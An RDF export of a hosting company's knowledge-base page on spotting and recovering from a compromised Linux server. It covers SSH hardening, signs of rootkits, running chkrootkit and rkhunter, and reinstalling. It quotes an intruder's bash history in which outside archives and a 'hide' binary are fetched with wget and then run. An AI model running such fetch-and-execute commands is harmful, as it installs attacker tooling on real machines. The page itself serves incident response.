<rdf:RDF
    xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'
    xmlns:s='http://snipsnap.org/rdf/snip-schema#'
    xml:base='http://bliki.rimuhosting.com/rdf'>
    <s:Snip rdf:about='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/argh+my+server+was+exploited'
         s:cUser='retep'
         s:oUser=''
         s:mUser='retep'>
        <s:name>knowledgebase/rimuhosting/argh my server was exploited</s:name>
        <s:content>1 What is an Exploited Server?&#xD;&#xA;&#xD;&#xA;An exploited server is one that is no longer fully under your control.  Someone else is using it for their own purposes.  Common exploits are:&#xD;&#xA;&#xD;&#xA;- To use the server to send out email (spam)&#xD;&#xA;&#xD;&#xA;- To use the server to launch brute force attacks on other servers (using its otherwise clean IP as an attack source, and consuming your CPU and network) &#xD;&#xA;&#xD;&#xA;- To install a phishing website on your server (e.g. to try and fool someone into supplying their paypal or banking login information)&#xD;&#xA;&#xD;&#xA;- To install &apos;back doors&apos; which attempt to capture any passwords you send to the server (e.g. when you login they may install a bogus ssh server that eavesdrops on your passwords).&#xD;&#xA;&#xD;&#xA;1 How Did My Server Get Exploited&#xD;&#xA;&#xD;&#xA;The bulk of the time we see an exploited server it has been exploited in one of two ways.  Either someone has guessed a password and logged in as a user via ssh, or a web application has some security hole that has been exploited.&#xD;&#xA;&#xD;&#xA;1 How Can I Avoid Getting Exploited via SSH&#xD;&#xA;&#xD;&#xA;Make sure that all of your ssh passwords are hard to guess.  e.g. definitely do not use regular words that you would find in a dictionary.  Replacing letters with digits e.g. 3 for E typically adds little protection.  Try using made up words.  Or using two or more words joined together in a phrase.&#xD;&#xA;&#xD;&#xA;It is most important for the root user to have a strong password.  Since if this user is exploited the exploiter has full control of your server and can install things like backdoors.  &#xD;&#xA;&#xD;&#xA;&apos;Regular&apos; users need to have good passwords as well, else if they are exploited they could be used to send out spam, or host phishing websites.&#xD;&#xA;&#xD;&#xA;Another good option is to change your SSHPort from 22 to something else (3022?) in your /etc/ssh/sshd_config file.  Then restart ssh with /etc/init.d/sshd restart.  If you are not using your default ssh port then that can be a simple way to avoid 99% of the brute force ssh attacks.&#xD;&#xA;&#xD;&#xA;If you are using a different ssh port than normal _do_ mention that when you put in a support ticket.  To make our life a little easier when we need to login to your server to help you.&#xD;&#xA;&#xD;&#xA;1 How to Avoid Having Your Web Apps Exploited&#xD;&#xA;&#xD;&#xA;This one is a bit trickier.  Since each web app could be exploited in a different way.  Examples of webapps that have had some bad security holes include phpbb, awstats, anything that uses xmlrpc and formmail.&#xD;&#xA;&#xD;&#xA;Web app security holes may let someone execute arbitrary code (as the apache user) or do things like send out spam (e.g. in formmail there has been a security hole which lets a user specify any &apos;to&apos; address and use any message to that person.&#xD;&#xA;&#xD;&#xA;The key thing with web app security is to know what web apps you have installed.   (Normally the only way you would have a webapp installed is if you or a user manually installed it) then make sure you are up to date with any security issues on that product.  e.g. check their site for security notices, if they have a security email list, then join that.&#xD;&#xA;&#xD;&#xA;1 How Do I Know I Was Exploited?&#xD;&#xA;&#xD;&#xA;Typically the first you&apos;ll know of it is from the RimuHosting support crew.  We may have received a spam complaint against your server.  Or an ssh attack abuse report.  Or we may have noticed your server using unusually high network traffic or CPU.&#xD;&#xA;&#xD;&#xA;When we alert you to the exploit we normally try to give some information about what we think was exploited and how you were affected.&#xD;&#xA;&#xD;&#xA;e.g. on one recent server exploit we saw things like this on the console:&#xD;&#xA;&#xD;&#xA;{code} &#xD;&#xA;/etc/rc.d/rc: line 67:   946 Segmentation fault      egrep -q &quot;(daemon |action |success |failure )&quot; $i 2&gt;/dev/null&#xD;&#xA;Starting rawdevices:  [  OK  ]&#xD;&#xA;/etc/rc.d/rc: line 67:   953 Segmentation fault      egrep -q &quot;(daemon |action |success |failure )&quot; $i 2&gt;/dev/null&#xD;&#xA;Starting jboss:  /etc/rc3.d/S84jboss: line 27:   956 Done &#xD;&#xA;      echo $0&#xD;&#xA;        957 Segmentation fault      | grep -qai tomcat&#xD;&#xA;/etc/rc3.d/S84jboss: line 27:   959 Done                    echo $0&#xD;&#xA;&#xD;&#xA;Without &apos;mount&apos;, the filesystem doesn&apos;t get mounted read/write, and so &#xD;&#xA;with a read-only filesystem nothing starts up properly.&#xD;&#xA;&#xD;&#xA;{code}&#xD;&#xA;&#xD;&#xA;Or we may see that some key binaries have been recently replaced:&#xD;&#xA;&#xD;&#xA;{code}&#xD;&#xA;[root@example ~]# ls -lash $(which grep)&#xD;&#xA;80K -rwxr-xr-x  1 root root 74K Jan  5 04:02 /bin/grep&#xD;&#xA;&#xD;&#xA;{code}&#xD;&#xA;&#xD;&#xA;Or another common sign is a &apos;broken&apos; cpio (which will prevent rpm installs).  e.g. if you run an {code}apt-get install --reinstall openssh-server{code} (to try and reinstall a proper ssh server) you may get:&#xD;&#xA;&#xD;&#xA;{code}&#xD;&#xA;error: unpacking of archive failed on file /sbin/initlog: cpio: rename failed - Operation not permitted&#xD;&#xA;{code}&#xD;&#xA;&#xD;&#xA;Also: run last -a and see if there are any unusual/suspcious IPs that have logged in recently.  Note that a root kitted server may have a truncated/empty last log.  Or it may have doctored values.&#xD;&#xA;&#xD;&#xA;Also: run the history command or cat ~username/.bash_history to see what commands have been run.  And if they look unusual.  Again: an exploiter may be able to modify these values/cover their trail.&#xD;&#xA;&#xD;&#xA;If your ps process does not support the --width option then that is an indication it may have been compromised/replaced:&#xD;&#xA;&#xD;&#xA;{code}&#xD;&#xA;# ps auxf --width=200&#xD;&#xA;ps: unknown long option&#xD;&#xA;usage:  ps acehjlnrsSuvwx{t&lt;tty&gt;|#|O[-]u[-]U..} \&#xD;&#xA;           --sort:[-]key1,[-]key2,...&#xD;&#xA;           --help gives you this message&#xD;&#xA;           --version prints version information&#xD;&#xA;{code}&#xD;&#xA;&#xD;&#xA;If your are ssh-ed into the server and netstat -n does not show your network connection then that is a sign that it is compromised too.&#xD;&#xA;&#xD;&#xA;Another idea is to run chkrootkit:&#xD;&#xA;&#xD;&#xA;{code}&#xD;&#xA;wget -O - &quot;http://downloads.rimuhosting.com/chkrootkit.tar.gz&quot; | tar xz&#xD;&#xA;&#xD;&#xA;cd chkrootkit-0.47/ &#xD;&#xA;&#xD;&#xA;./chkrootkit | grep -v &apos;nothing found&apos; | grep -v &apos;not infected&apos; | grep -v &apos;not tested&apos; | grep -v &apos;not found&apos;&#xD;&#xA;&#xD;&#xA;{code}&#xD;&#xA;&#xD;&#xA;Sample output on an infected server looks like:&#xD;&#xA;{code}&#xD;&#xA;ROOTDIR is `/&apos;&#xD;&#xA;Checking `netstat&apos;... INFECTED&#xD;&#xA;Checking `ps&apos;... INFECTED&#xD;&#xA;Checking `aliens&apos;...&#xD;&#xA;/dev/ptyxy/.proc /dev/ptyxy/.addr&#xD;&#xA;/etc/ld.so.hash&#xD;&#xA;Searching for Ambient&apos;s rootkit (ark) default files and dirs... Possible Ambient&apos;s rootkit \(ark\) installed&#xD;&#xA;Searching for suspicious files and dirs, it may take a while...&#xD;&#xA;/usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/auto/mod_perl/.packlist /usr/lib/perl5/5.8.5/i386-linux-thread-multi/.packlist /usr/lib/.ark? /lib/security/.config&#xD;&#xA;/lib/security/.config&#xD;&#xA;Searching for ShKit rootkit default files and dirs... Possible ShKit rootkit installed&#xD;&#xA;{code}&#xD;&#xA;&#xD;&#xA;Another tool to check for root kits is rkhunter:&#xD;&#xA;{code}&#xD;&#xA;wget http:\//optusnet.dl.sourceforge.net/sourceforge/rkhunter/rkhunter-1.3.0.tar.gz&#xD;&#xA;&#xD;&#xA;tar xzf rkhunter-1.3.0.tar.gz&#xD;&#xA;&#xD;&#xA;cd rkhunter-1.3.0&#xD;&#xA;&#xD;&#xA;./installer.sh --layout /usr/local --install&#xD;&#xA;&#xD;&#xA;/usr/local/bin/rkhunter --check --quiet&#xD;&#xA;{code}&#xD;&#xA;&#xD;&#xA;1 Finding Out More About What Was Done&#xD;&#xA;&#xD;&#xA;If a user account has been exploited often you can see what the attacker did by running cat ~username/.bash_history&#xD;&#xA;&#xD;&#xA;e.g. &#xD;&#xA;{code}&#xD;&#xA;&#xD;&#xA;   943  wget www.tici.us/ssh.tgz&#xD;&#xA;   944  tar xzvf ssh.tgz&#xD;&#xA;   947  ./inst&#xD;&#xA;   948  chmod 777 *&#xD;&#xA;   959  wget www.durexel.com/x/hide&#xD;&#xA;   960  chmod +x hide&#xD;&#xA;   961  ./hide&#xD;&#xA;   962  w&#xD;&#xA;&#xD;&#xA;{code}&#xD;&#xA;&#xD;&#xA;And you can see what IP logged into your server using that user id with last -a&#xD;&#xA;&#xD;&#xA;If your server was exploited to send out spam, then the spam report email headers may contain some useful information.  e.g. the username that send the emails.  Or the time that the emails were sent.  &#xD;&#xA;&#xD;&#xA;If you have the time, you can then go through your apache access or error logs to see if, say, a particular form POST has happened or a particular URL is being loaded.&#xD;&#xA;&#xD;&#xA;1 Recovering From An Exploit&#xD;&#xA;&#xD;&#xA;If a webapp was exploited then typically we can disable the webapp.  Then you may wish to upgrade to the latest version of that webapp (or use a different app).&#xD;&#xA;&#xD;&#xA;If a non-privileged (e.g. non-root) ssh user account is exploited then we would disable that user from logging in (usermod -s /sbin/nologin user.  Or use passwd username to set a random/different password for the user.&#xD;&#xA;&#xD;&#xA;If the root user has been compromised then it becomes &apos;trickier&apos;.&#xD;&#xA;&#xD;&#xA;1 Root User Compromised&#xD;&#xA;&#xD;&#xA;When the root user has been compromised things are quite serious.  As the root user they would have been able to hide evidence of their access.  e.g. modify the logs reported by last -a.  Alter their bash history.  Modify apps like ps and top so that they do not show the exploit fingerprints (e.g. ps or top may not show processes that are launching brute force attacks on other systems)&#xD;&#xA;&#xD;&#xA;Commonly we are seeing root kits installed that modify most binaries and even modify ssh so that it captures passwords you send it.&#xD;&#xA;&#xD;&#xA;Sometimes the root kits really &apos;mess things up&apos;.  To the point where the server may actually fail to boot up correctly.&#xD;&#xA;&#xD;&#xA;When the root account is compromised we can try to restore a VPS to an earlier backup (and see if that is infected or not).  &#xD;&#xA;&#xD;&#xA;Or if the server was compromised before the earliest backup we had, or if you are running an older distro, then we may often recommend a fresh install.  We can normally mount your old data somewhere like /backups.  Then you can get the data you need from it (Treat the data with suspicion.  What if someone has viewed it or modified it?)&#xD;&#xA;&#xD;&#xA;We recommend that you do _not_ copy binaries from the /backup to the new install.  Since that may bring over infected files.&#xD;&#xA;&#xD;&#xA;We would also advise you be careful about bringing over config files.  Since they may have some exploit in there still (e.g. proxying enabled in apache, or open relaying configured in the mail server).  And also after a reinstall you may opt for a newer distro and that config files in that distro may differ from your &apos;old&apos; server.  If you really need to copy over config settings try to copy over just the fragments you need.&#xD;&#xA;</s:content>
        <s:mTime>2008-03-30 22:15:17.0</s:mTime>
        <s:cTime>2007-01-12 20:12:54.0</s:cTime>
        <s:comments
             rdf:type='http://www.w3.org/1999/02/22-rdf-syntax-ns#Bag'/>
        <s:snipLinks>
            <rdf:Bag>
                <rdf:li rdf:resource='#snipsnap-search'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/argh+my+server+was+exploited/'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting'/>
                <rdf:li rdf:resource='#knowledgebase'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/miscapplications/ruby on rails'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/argh my server was exploited/'/>
                <rdf:li rdf:resource='#snipsnap-index'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/rimuhosting ssh access'/>
                <rdf:li>
                    <s:Snip rdf:about='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/argh+my+server+was+exploited'>
                        <s:attachments
                             rdf:type='http://www.w3.org/1999/02/22-rdf-syntax-ns#Bag'/>
                    </s:Snip>
                </rdf:li>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/mail/postfix notes'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/vps backups'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/custom vps image'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/mail/postfixadmin on debian sarge'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/mail/qmail notes'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/java/-Xmx settings'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/java/jboss notes'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/remote server desktop with vnc'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/miscapplications/grub boot cd'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/misc/where has my disk space gone'/>
                <rdf:li rdf:resource='#john'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/miscapplications/svn notes'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/distros/ubuntu'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/java/tomcat on plesk'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/xen'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/misc/Preventing Brute Force SSH Attacks'/>
                <rdf:li rdf:resource='#jetty'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/miscapplications/typo cluster'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#Virtual servers using Linux vServer'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/Security/Securing Your Server'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/monthly CC billing not working'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/webserver/plesk notes'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/mail'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/misc/bash'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/mail/qmail per-user spam filtering'/>
                <rdf:li rdf:resource='#snipsnap-help'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/mail/squrrelmail notes'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/misc/ajax autocomplete'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/misc/debootstrap'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/moving servers'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#virtualmin notes'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/misc/deprecated'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/rimuhosting/vps setup on dedicated servers'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/webserver/apache/installing and using mod_fastcgi'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/miscapplications/roundcube'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/webserver/apache/mod_jk'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/webserver/setting up plone'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/webserver/apache/php'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/distros/debian'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/java/liferay install on tomcat 5.5'/>
                <rdf:li rdf:resource='http://bliki.rimuhosting.com/rdf#knowledgebase/linux/miscapplications/zimbra'/>
            </rdf:Bag>
        </s:snipLinks>
    </s:Snip>
</rdf:RDF>
